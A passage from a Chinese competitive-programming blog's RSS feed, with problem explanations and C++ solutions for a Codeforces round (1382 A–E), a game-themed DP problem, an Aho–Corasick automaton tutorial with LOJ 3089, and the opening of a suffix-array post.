&lt;li&gt;AWP，费用 $r_3$，杀死特定人&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从当前关到相邻关卡，费用为 $d$&lt;/p&gt;
&lt;p&gt;在所有小兵死亡之前，不能使用 手枪/AWP 来攻击 Boss&lt;/p&gt;
&lt;p&gt;一旦攻击 Boss，必须前往相邻关卡&lt;/p&gt;
&lt;p&gt;求杀死所有 Boss 所需的最少时间&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;首先可以发现，杀死这一关的 Boss 有两种方法&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;挨个杀死小兵，最后一枪给 Boss 送死&lt;/li&gt;
&lt;li&gt;对每个人减一格血，去别的地方再回来给 Boss 来一枪&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后就是大力 dp 了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$f_{i,0}$ 是当前不需要往回走&lt;/li&gt;
&lt;li&gt;$f_{i,1}$ 是当时需要往回走&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;注意到 $f_{i,1}$ 是同一条路需要走三次（过去，回来，再过去）&lt;/p&gt;
&lt;p&gt;但是有一种情况，你可以走到最后，回来，但是不需要再回去了&lt;/p&gt;
&lt;p&gt;这种情况特判就可以了&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/09/01 00:31:59
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 1e6 + 1e5;

long long n, r1, r2, r3, d;
long long a[N], b[N], c[N];
long long f[N][3];
// b[] / 0 =&amp;gt; kill all in once
// c[] / 1 =&amp;gt; kill all in twice

int main() {
#ifdef woshiluo
        freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
        freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
        scanf( &quot;%lld%lld%lld%lld%lld&quot;, &amp;amp;n, &amp;amp;r1, &amp;amp;r2, &amp;amp;r3, &amp;amp;d );
        long long min_3 = Min( r1, Min( r2, r3 ) );
        for( long long i = 1; i &amp;lt;= n; i ++)  {
                scanf( &quot;%lld&quot;, &amp;amp;a[i] );
                b[i] = a[i] * Min( r1, r3 ) + r3;
                c[i] = Min( r2 + min_3, Min( r1, r3 ) * a[i] + Min( r1, r2 ) * 2LL );
        }
        f[0][1] = f[0][2] = (long long)(1e18);
        for( long long i = 1; i &amp;lt;= n; i ++ ) {
                f[i][0] = Min( f[ i - 1 ][0] + b[i], f[ i - 1 ][1] + Min( b[i], c[i] ) ) + d;
                f[i][1] = Min( f[ i - 1 ][0] + c[i], f[ i - 1 ][1] + Min( b[i], c[i] ) ) + 3LL * d;
                f[i][2] = Min( f[ i - 1 ][0] + c[i], f[ i - 1 ][2] + Min( b[i], c[i] ) ) + 2LL * d;
        }

        printf( &quot;%lld\n&quot;, Min( f[n - 1][2] + b[n],
                                Min( f[n][0] - d, f[ n - 1 ][0] + c[n] + 2LL * d ) ) );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codefoces #1382 解题报告 &amp; 部分翻译</title><link>https://blog.woshiluo.com/posts/2020/07/codefoces-1382-%E8%A7%A3%E4%BD%93%E6%8A%A5%E5%91%8A-%E9%83%A8%E5%88%86%E7%BF%BB%E8%AF%91/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/07/codefoces-1382-%E8%A7%A3%E4%BD%93%E6%8A%A5%E5%91%8A-%E9%83%A8%E5%88%86%E7%BF%BB%E8%AF%91/</guid><pubDate>Wed, 22 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A Common Subsequence&lt;/h2&gt;
&lt;h3&gt;0 题目大意&lt;/h3&gt;
&lt;p&gt;给你两个序列 $a,b$，求两个序列&lt;strong&gt;最短&lt;/strong&gt;的公共子序列&lt;/p&gt;
&lt;h3&gt;1 代码&lt;/h3&gt;
&lt;p&gt;对，是最短……&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/07/21 22:41:11
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 11000;

int T;
int a, b;
bool ta[N];

int main() {
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        scanf( &quot;%d%d&quot;, &amp;amp;a, &amp;amp;b );
        memset( ta, 0, sizeof(ta) );
        for( int i = 1; i &amp;lt;= a; i ++ ) {
            int tmp;
            scanf( &quot;%d&quot;, &amp;amp;tmp );
            ta[tmp] = 1;
        }
        int res = 0;
        for( int j = 1; j &amp;lt;= b; j ++ ) {
            int tmp;
            scanf( &quot;%d&quot;, &amp;amp;tmp );
            if( ta[tmp] ) {
                res = tmp;
            }
        }
        if( res == 0 )
            printf( &quot;NO\n&quot; );
        else {
            printf( &quot;YES\n%d %d\n&quot;, 1, res );
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;B Sequential Nim&lt;/h2&gt;
&lt;h3&gt;0 题目大意&lt;/h3&gt;
&lt;p&gt;给你一 $n$ 堆石子，每次可以在第一堆拿 $x(1 \leq x \leq n)$ 个石子&lt;/p&gt;
&lt;p&gt;第一个拿不到石子的人失败&lt;/p&gt;
&lt;h3&gt;1 思路&lt;/h3&gt;
&lt;p&gt;本来写了个 Nim 上去，然后才注意到是只能取第一个&lt;/p&gt;
&lt;p&gt;取第一个就不复杂了，第一个碰到 $&amp;gt;1$ 的石子堆的人就能嬴&lt;/p&gt;
&lt;h3&gt;2 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/07/21 23:02:11
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

int main() {
#ifdef woshiluo
    freopen( &quot;b.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;b.out&quot;, &quot;w&quot;, stdout );
#endif
    int T, n;
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        scanf( &quot;%d&quot;, &amp;amp;n );
        int res = 0; bool chance = false;
        int tmp;
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            scanf( &quot;%d&quot;, &amp;amp;tmp );
            if( tmp == 1 &amp;amp;&amp;amp; chance == false )
                res ++;
            else
                chance = true;
        }
        if( chance )
            printf( &quot;%s\n&quot;, ( res % 2 == 0 )? &quot;First&quot;: &quot;Second&quot; );
        else
            printf( &quot;%s\n&quot;, ( res % 2 == 1 )? &quot;First&quot;: &quot;Second&quot; );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;C Prefix Flip&lt;/h2&gt;
&lt;h3&gt;0 题目大意&lt;/h3&gt;
&lt;p&gt;C1 是 C2 的简化版，然而 C2 并不难，所以就不管 C1 了&lt;/p&gt;
&lt;p&gt;定义翻转为，将前 $k(1 \leq k \leq n)$ 个数字每一位反转，然后将前 $k$ 个数字颠倒&lt;/p&gt;
&lt;p&gt;现在给你两个 01 串 $a, b$，询问如何从 $a$ 通过最多 $2n$ 次翻转变成 $b$&lt;/p&gt;
&lt;p&gt;题目保证有解&lt;/p&gt;
&lt;h3&gt;1 思路&lt;/h3&gt;
&lt;p&gt;首先注意到，操作是可逆的，即执行两次相同的操作，等于没有操作&lt;/p&gt;
&lt;p&gt;也就是我们可以先求出来&lt;/p&gt;
&lt;p&gt;$$ \begin{aligned} a \to c \ b \to c \end{aligned} $$&lt;/p&gt;
&lt;p&gt;的步骤，然后将 $b \to c$ 的步骤反过来即可&lt;/p&gt;
&lt;p&gt;那么 $c$ 是什么呢，显然全 0 是一个优秀的选择&lt;/p&gt;
&lt;p&gt;剩下的问题就是怎么变成全 0&lt;/p&gt;
&lt;p&gt;从左往右，遇到一个 1，就先把前面的 0 变成 1，然后带上这个一起变成 0&lt;/p&gt;
&lt;p&gt;这样极端情况下需要 $2n$ 次，总共就是 $4n$ 次，显然超出了要求&lt;/p&gt;
&lt;p&gt;考虑将连续的 0 和连续的 1 看作一个字符，就可以优化到 $2n$ 次&lt;/p&gt;
&lt;h3&gt;2 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/07/21 23:50:08
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

int T;
int n;

int main() {
#ifdef woshiluo
    freopen( &quot;c2.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;c2.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        std::vector&amp;lt;int&amp;gt; ans[2];
        scanf( &quot;%d&quot;, &amp;amp;n );
        int la_0 = 0, la_1 = 0;
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            int tmp;
            scanf( &quot;%1d&quot;, &amp;amp;tmp );
            if( tmp == 0 ) {
                if( la_1 ) {
                    if( la_0 )
                        ans[0].push_back(la_0);
                    ans[0].push_back(la_1);
                }
                la_1 = 0;
                la_0 = i;
            }
            else
                la_1 = i;
        }
        if( la_1 ) {
            if( la_0 )
                ans[0].push_back(la_0);
            ans[0].push_back(la_1);
        }

        la_0 = 0, la_1 = 0;
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            int tmp;
            scanf( &quot;%1d&quot;, &amp;amp;tmp );
            if( tmp == 0 ) {
                if( la_1 ) {
                    if( la_0 )
                        ans[1].push_back(la_0);
                    ans[1].push_back(la_1);
                }
                la_1 = 0;
                la_0 = i;
            }
            else
                la_1 = i;
        }
        if( la_1 ) {
            if( la_0 )
                ans[1].push_back(la_0);
            ans[1].push_back(la_1);
        }

        int size1 = ans[0].size(), size2 = ans[1].size();
        printf( &quot;%d &quot;, size1 + size2 );
        for( int i = 0; i &amp;lt; size1; i ++ )
            printf( &quot;%d &quot;, ans[0][i] );
        for( int i = size2 - 1; i &amp;gt;= 0; i -- )
            printf( &quot;%d &quot;, ans[1][i] );
        printf( &quot;\n&quot; );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;D Unmerge&lt;/h2&gt;
&lt;h3&gt;0 题目大意&lt;/h3&gt;
&lt;p&gt;定义对两个序列的 &lt;code&gt;merge&lt;/code&gt; 操作&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$merge(a,b) = merge(b,a)$&lt;/li&gt;
&lt;li&gt;$merge(a,\emptyset) = a$&lt;/li&gt;
&lt;li&gt;$merge(\emptyset,\emptyset) = 0$&lt;/li&gt;
&lt;li&gt;如果 $a_1 \le b_1$ 那么 $merge(a,b) = a_1 + merge( [ a_2, \cdots, a_n ], b )$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在给你一个长度为 $2n$ 的排列，寻问你能否通过两个长度为 $n$ 的序列 &lt;code&gt;merge&lt;/code&gt; 而成&lt;/p&gt;
&lt;h3&gt;1 思路&lt;/h3&gt;
&lt;p&gt;考虑每出现一个比当前已知所有数字大的数字时，就会这之后的数字都应当和当前数字在一组，直到到下一个序列&lt;/p&gt;
&lt;p&gt;所以我们可以将原排列划分成几块，看其能否拼成 $n$&lt;/p&gt;
&lt;p&gt;所以这就是一个背包……&lt;/p&gt;
&lt;h3&gt;2 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/07/22 14:19:08
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 4100;

int T;
int n;
int f[N];

int main() {
#ifdef woshiluo
    freopen( &quot;d.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;d.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        scanf( &quot;%d&quot;, &amp;amp;n );
        std::vector&amp;lt;int&amp;gt; val;
        int cnt = 0, max = 0;
        for( int i = 1; i &amp;lt;= ( n &amp;lt;&amp;lt; 1 ); i ++ ) {
            int tmp;
            scanf( &quot;%d&quot;, &amp;amp;tmp );
            if( tmp &amp;gt; max ) {
                max = tmp;
                if( cnt != 0 )
                    val.push_back( cnt );
                cnt = 1;
            }
            else
                cnt ++;
        }
        if( cnt != 0 )
            val.push_back(cnt);

        std::sort( val.begin(), val.end() );

        int size = val.size();
        memset( f, 0, sizeof(int) * ( n + 3 ) );
        f[0] = true;
        int cur = 1, la = 0;
        int len = 0;
        for( int i = 0; i &amp;lt; size; i ++ ) {
            len += val[i];
            if( len &amp;gt; n )
                len = n;
            for( int j = len; j - val[i] &amp;gt;= 0; j -- ) {
                f[j] |= f[ j - val[i] ];
            }
        }
        printf( &quot;%s\n&quot;, f[n]? &quot;YES&quot;: &quot;NO&quot; );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Mastermind&lt;/h2&gt;
&lt;h3&gt;0 题目大意&lt;/h3&gt;
&lt;p&gt;给你一个长度为 $n$ 序列 $a$, 现在要求你给出一个长度为 $n$ 序列 $b$&lt;/p&gt;
&lt;p&gt;其中满足 $a_i = b_i (1 \leq i \leq n)$ 的 $i$ 要有正好 $x$ 个&lt;/p&gt;
&lt;p&gt;满足 $a_i = b_j ( 1 \leq i \leq j \leq n)$ 的 $i,j$ 要有正好 $y$ 个&lt;/p&gt;
&lt;p&gt;如果不存在，输出 &quot;NO&quot;&lt;/p&gt;
&lt;p&gt;如果存在，输出 &quot;YES&quot;，下接一行 $n$ 个数字，为 $b$&lt;/p&gt;
&lt;h3&gt;1 思路&lt;/h3&gt;
&lt;p&gt;谢谢 lk 的帮助，本菜鸡搞了好久也没搞懂&lt;/p&gt;
&lt;p&gt;首先考虑 $x$，为了后面 $y$ 能取出来的尽可能多，所以优先选择出现频率最高的那一个&lt;/p&gt;
&lt;p&gt;然后考虑 $y$, 要么交换两个不同的数字，来增加两对，要么交换一个，另一个放一个不存在的数字，来增加一个&lt;/p&gt;
&lt;p&gt;但是有一种特殊情况 $n = 3, y = 3, a = [ 1, 2, 3]$&lt;/p&gt;
&lt;p&gt;这种情况上面那种情况就会出大问题，但是显然，这个只需要轮转一回就可以了$(1 \to 2, 2 \to 3, 3 \to 1)$&lt;/p&gt;
&lt;h3&gt;2 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/07/22 16:24:37
// Blog: https://blog.woshiluo.com

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }

const int N = 1e5 + 1e4;

int T;
int n, x, y;
int a[N];
int pool[N], ans[N];

struct node {
    int val, cnt;
    bool operator&amp;lt; ( const node &amp;amp;b ) const {
        return cnt &amp;lt; b.cnt;
    }
};

int main() {
#ifdef woshiluo
    freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        scanf( &quot;%d%d%d&quot;, &amp;amp;n, &amp;amp;x, &amp;amp;y );
        std::vector&amp;lt;int&amp;gt; pos[N];
        memset( pool, 0, sizeof(pool) );
        memset( ans, 0, sizeof(ans) );
        int fill = n + 1;
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            scanf( &quot;%d&quot;, &amp;amp;a[i] );
            pool[ a[i] ] ++;
            pos[ a[i] ].push_back(i);
        }
        std::priority_queue&amp;lt;node&amp;gt; q;
        for( int i = 1; i &amp;lt;= n + 1; i ++ ) {
            if( pool[i] != 0 )
                q.push( (node){ i, pool[i] } );
            else
                fill = i;
        }
        for( int i = 1; i &amp;lt;= x; i ++ )  {
            node top = q.top(); q.pop();
            ans[ pos[top.val].back() ] = top.val;
            pos[top.val].pop_back();
            top.cnt --;
            if( top.cnt != 0 )
                q.push(top);
        }
        y -= x;
        while( q.size() &amp;gt;= 2 &amp;amp;&amp;amp; y &amp;gt; 0 ) {
            if( y == 3 &amp;amp;&amp;amp; q.size() == 3 ) {
                node top1 = q.top(); q.pop();
                node top2 = q.top(); q.pop();
                node top3 = q.top(); q.pop();
                ans[ pos[top1.val].back() ] = top2.val;
                ans[ pos[top2.val].back() ] = top3.val;
                ans[ pos[top3.val].back() ] = top1.val;
                y -= 3;
                continue;
            }
            node top1 = q.top(); q.pop();
            node top2 = q.top(); q.pop();
            ans[ pos[top1.val].back() ] = top2.val;
            ans[ pos[top2.val].back() ] = ( ( y != 1 )? top1.val: fill );
            pos[top1.val].pop_back(); pos[top2.val].pop_back();
            top1.cnt --, top2.cnt --;
            if( top1.cnt != 0 )
                q.push(top1);
            if( top2.cnt != 0 )
                q.push(top2);
            y -= 2;
        }
        if( y &amp;gt; 0 )
            printf( &quot;NO\n&quot; );
        else {
            printf( &quot;YES\n&quot; );
            for( int i = 1; i &amp;lt;= n; i ++ ) {
                printf( &quot;%d &quot;, ( ans[i] == 0 )? fill: ans[i] );
            }
            printf( &quot;\n&quot; );
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>AC 自动机 -- LOJ 3089 「BJOI2019」奥术神杖</title><link>https://blog.woshiluo.com/posts/2020/07/ac-%E8%87%AA%E5%8A%A8%E6%9C%BA-loj-3089-bjoi2019%E5%A5%A5%E6%9C%AF%E7%A5%9E%E6%9D%96/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/07/ac-%E8%87%AA%E5%8A%A8%E6%9C%BA-loj-3089-bjoi2019%E5%A5%A5%E6%9C%AF%E7%A5%9E%E6%9D%96/</guid><pubDate>Tue, 21 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 说在之前&lt;/h2&gt;
&lt;p&gt;我吐了，这题我写了两天……&lt;/p&gt;
&lt;p&gt;考虑到我自己写的博客还没有 AC 自动机的，我会简单写一下&lt;/p&gt;
&lt;h2&gt;1 AC 自动机&lt;/h2&gt;
&lt;h3&gt;1.0 什么是 AC 自动机&lt;/h3&gt;
&lt;p&gt;有一个说烂但是很形象的说法 Trie + KMP&lt;/p&gt;
&lt;p&gt;AC 自动机用于多模式串匹配&lt;/p&gt;
&lt;p&gt;就是你拿一个字符串，和一堆字符串&lt;/p&gt;
&lt;p&gt;然后 AC 自动机可以让你快速的知道这一堆字符串中，那些是你这一个字符串的子串&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;1.1 构建&lt;/h3&gt;
&lt;p&gt;AC 自动机的第一步是建立 Trie 树，这并不复杂&lt;/p&gt;
&lt;p&gt;问题在于，如果仅仅建立一个 Trie 树，想要很快的完成上面的任务还是略显艰难&lt;/p&gt;
&lt;p&gt;跟 KMP 一样，如果我们可以使用一个类似 next 数组的指针，告诉我们失配后应该跳到哪里能最大化效率就好了&lt;/p&gt;
&lt;p&gt;这个东西就叫做 fail 指针（失配指针）&lt;/p&gt;
&lt;p&gt;建立完 Trie 树之后，我们可以像建立 next 数组一样建立 fail 指针&lt;/p&gt;
&lt;p&gt;假设到遍历到某一节点时，其父亲节点及深度比他小的 fail 指针已经建立完毕&lt;/p&gt;
&lt;p&gt;那么对于其子节点，如果存在，那么我们需要顺延现在节点的 fail 指针即可&lt;/p&gt;
&lt;p&gt;如果不存在，那么就直接指向 fail 的对应点即可&lt;/p&gt;
&lt;h2&gt;2 LOJ 3089&lt;/h2&gt;
&lt;h3&gt;2.1 思路&lt;/h3&gt;
&lt;p&gt;AC 自动机上 DP&lt;/p&gt;
&lt;p&gt;事实上我是第一次接触这种科技&lt;/p&gt;
&lt;p&gt;首先对所有模式串跑 AC 自动机&lt;/p&gt;
&lt;p&gt;原来的答案带根号，取 ln&lt;/p&gt;
&lt;p&gt;然后就变成了喜闻乐见的 01 分数规划&lt;/p&gt;
&lt;p&gt;$$ \begin{aligned} &amp;amp; \ln\sqrt[k]{\Pi_{i=1}^k maigc_i} \ = &amp;amp; \frac{1}{k} \ln \Pi_{i=1}^k maigc_i \ = &amp;amp; \frac{ \sum_{i=1}^k \ln maigc_i }{k} \end{aligned} $$&lt;/p&gt;
&lt;p&gt;（关于为什么能这么变 &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E5%AF%B9%E6%95%B0&quot;&gt;Wikipedia - 对数&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;设 &lt;code&gt;f[i][j]&lt;/code&gt; 表示到了到了第 $i$ 位第 $j$ 个节点的结果&lt;/p&gt;
&lt;p&gt;剩下就是 dp 和记录方案了&lt;/p&gt;
&lt;h3&gt;2.2 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cmath&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const int N = 2100;
const double eps = 1e-7;

int n, m;
char T[N];

int node_cnt = 1;
struct ac_node {
    int nxt[20], fail;
    double val, cnt;
    ac_node() {
        memset( nxt, 0, sizeof(nxt) );
        fail = 1;
        val = cnt = 0;
    }
} tree[ N * 10 ];

void insert( char *s, double val ) {
    int cur = 1;
    for( ; *s; s ++ ) {
        int cur_char = *s - &apos;0&apos;;
        int &amp;amp;nxt = tree[cur].nxt[cur_char];
        if( nxt == 0 ) {
            node_cnt ++;
            nxt = node_cnt;
        }
        cur = nxt;
    }
    tree[cur].cnt ++;
    tree[cur].val += val;
}

void build() {
    std::queue&amp;lt;int&amp;gt; q;
    for( int i = 0; i &amp;lt; 20; i ++ ) {
        if( tree[1].nxt[i] == 0 )
            tree[1].nxt[i] = 1;
        else
            q.push( tree[1].nxt[i] );
    }
    while( !q.empty() ) {
        int cur = q.front(); q.pop();
        int fail = tree[cur].fail;
        tree[cur].cnt += tree[fail].cnt;
        tree[cur].val += tree[fail].val;
        for( int i = 0; i &amp;lt; 10; i ++ ) {
            if( tree[cur].nxt[i] ) {
                tree[ tree[cur].nxt[i] ].fail = tree[fail].nxt[i];
                q.push( tree[cur].nxt[i] );
            }
            else
                tree[cur].nxt[i] = tree[fail].nxt[i];
        }
    }
}

double f[N][N];
struct last { int la, cur_char; } la[N][N];

char ans[N];
void update_ans( int id, int pos ) {
    if( id != 1 )
        update_ans( id - 1, la[id][pos].la );
    ans[id] = la[id][pos].cur_char + &apos;0&apos;;
}

inline void update( double &amp;amp;cur, double nxt, last &amp;amp;la, last upd ) {
    if( nxt &amp;gt; cur ) {
        cur = nxt;
        la = upd;
    }
}

bool check( double mid ) {
    double INF = 1e16;
    for( int i = 0; i &amp;lt;= n; i ++ ) {
        for( int j = 0; j &amp;lt;= node_cnt; j ++ ) {
            f[i][j] = -INF;
        }
    }
    f[0][1] = 0;

    for( int i = 1; i &amp;lt;= n; i ++ ) {
        if( T[i] == &apos;.&apos; ) {
            for( int j = 1; j &amp;lt;= node_cnt; j ++ ) {
                for( int k = 0; k &amp;lt; 10; k ++ ) {
                    if( f[ i - 1 ][j] == -INF )
                        continue;
                    int nxt = tree[j].nxt[k];
                    update( f[i][nxt], f[ i - 1 ][j] + tree[nxt].val - tree[nxt].cnt * mid,
                            la[i][nxt], (last){ j, k } );
                }
            }
        }
        else {
            int k = T[i] - &apos;0&apos;;
            for( int j = 1; j &amp;lt;= node_cnt; j ++ ) {
                if( f[ i - 1 ][j] == -INF )
                    continue;
                int nxt = tree[j].nxt[k];
                update( f[i][nxt], f[ i - 1 ][j] + tree[nxt].val - tree[nxt].cnt * mid,
                        la[i][nxt], (last){ j, k } );
            }
        }
    }

    int pos = 0;
    for( int i = 1; i &amp;lt;= node_cnt; i ++ ) {
        if( f[n][i] &amp;gt; f[n][pos] )
            pos = i;
    }
    if( f[n][pos] &amp;gt; 0 ) {
        update_ans( n, pos );
        return 1;
    }
    return 0;
}

void write( int x, int pos ) {
    if( x != 1 )
        write( x - 1, la[x][pos].la );
    printf( &quot;%d&quot;, la[x][pos].cur_char );
}

int main() {
#ifdef woshiluo
    freopen( &quot;loj.3089.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;loj.3089.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    scanf( &quot;%s&quot;, T + 1 );
    double left = 0, rig = 0;
    for( int i = 1; i &amp;lt;= m; i ++ ) {
        double val;
        char str[N];
        scanf( &quot;%s%lf&quot;, str + 1, &amp;amp;val );
        val = std::log( val );
        rig = std::max( rig, val );
        insert( str + 1, val );
    }

    build();

    while( left + eps &amp;lt;= rig ) {
        double mid = ( left + rig ) / 2;
        if( check(mid) ) {
            left = mid + eps;
        }
        else
            rig = mid - eps;
    }

    printf( &quot;%s\n&quot;, ans + 1 );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>重学后缀数组 -- LOJ 2122 「NOI2015」品酒大会</title><link>https://blog.woshiluo.com/posts/2020/07/%E9%87%8D%E5%AD%A6%E5%90%8E%E7%BC%80%E6%95%B0%E7%BB%84-loj-2122-noi2015%E5%93%81%E9%85%92%E5%A4%A7%E4%BC%9A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/07/%E9%87%8D%E5%AD%A6%E5%90%8E%E7%BC%80%E6%95%B0%E7%BB%84-loj-2122-noi2015%E5%93%81%E9%85%92%E5%A4%A7%E4%BC%9A/</guid><pubDate>Mon, 20 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 说在之前&lt;/h2&gt;
&lt;p&gt;jt 学长说的没错，SA 果然是写一次忘一次……&lt;/p&gt;
&lt;p&gt;于是这次重新学了一次，发现之前的 Blog 问题比较多，于是重写一次算了&lt;/p&gt;
&lt;p&gt;实际上这些东西就是变相重写 Oi Wiki 后缀数组那一页，不过是写给自己的罢了&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 什么是后缀数组&lt;/h2&gt;
&lt;h3&gt;1.0 一些约定&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;字符串下标从 1 开始&lt;/li&gt;
